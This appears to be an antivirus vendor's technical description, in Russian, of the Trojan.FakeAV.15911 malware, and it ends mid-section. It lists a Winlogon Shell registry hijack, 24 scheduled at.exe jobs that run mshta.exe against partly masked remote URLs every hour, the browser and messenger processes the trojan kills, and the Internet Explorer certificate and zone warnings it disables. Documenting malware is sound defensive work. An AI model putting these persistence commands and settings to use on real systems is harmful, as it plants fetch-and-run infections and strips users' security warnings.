Trojan.FakeAV.15911

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '%APPDATA%\hotfix.exe'

Создает или изменяет следующие файлы:

%WINDIR%\Tasks\At16.job
%WINDIR%\Tasks\At17.job
%WINDIR%\Tasks\At18.job
%WINDIR%\Tasks\At13.job
%WINDIR%\Tasks\At14.job
%WINDIR%\Tasks\At15.job
%WINDIR%\Tasks\At22.job
%WINDIR%\Tasks\At23.job
%WINDIR%\Tasks\At24.job
%WINDIR%\Tasks\At19.job
%WINDIR%\Tasks\At20.job
%WINDIR%\Tasks\At21.job
%WINDIR%\Tasks\At4.job
%WINDIR%\Tasks\At5.job
%WINDIR%\Tasks\At6.job
%WINDIR%\Tasks\At1.job
%WINDIR%\Tasks\At2.job
%WINDIR%\Tasks\At3.job
%WINDIR%\Tasks\At10.job
%WINDIR%\Tasks\At11.job
%WINDIR%\Tasks\At12.job
%WINDIR%\Tasks\At7.job
%WINDIR%\Tasks\At8.job
%WINDIR%\Tasks\At9.job

Вредоносные функции:

Запускает на исполнение:

'<SYSTEM32>\at.exe' 14:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 15:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 16:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 11:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 12:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 13:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 17:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 21:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 22:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 23:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 18:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 19:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 20:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 01:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 02:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 03:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\mshta.exe' http://to###erpot.com/inst.php?id##########
'<SYSTEM32>\cmd.exe' /c ""%APPDATA%\agtyjkj.bat" "
'<SYSTEM32>\at.exe' 00:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 04:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 08:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 09:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 10:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 05:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 06:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################
'<SYSTEM32>\at.exe' 07:58 /every:M,T,W,Th,F,S,Su mshta.exe http://fu####ophershow.com/sdfbsjk.php?ks#####################

Завершает или пытается завершить

следующие пользовательские процессы:

skype.exe
iexplore.exe
YahooMessenger.exe
javaw.exe
opera.exe
msnmsgr.exe
msn6.exe
chrome.exe
safari.exe
firefox.exe

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPost' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnZoneCrossing' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnOnPostRedirect' = '00000000'

Изменения в файловой системе:

Создает следующие файлы: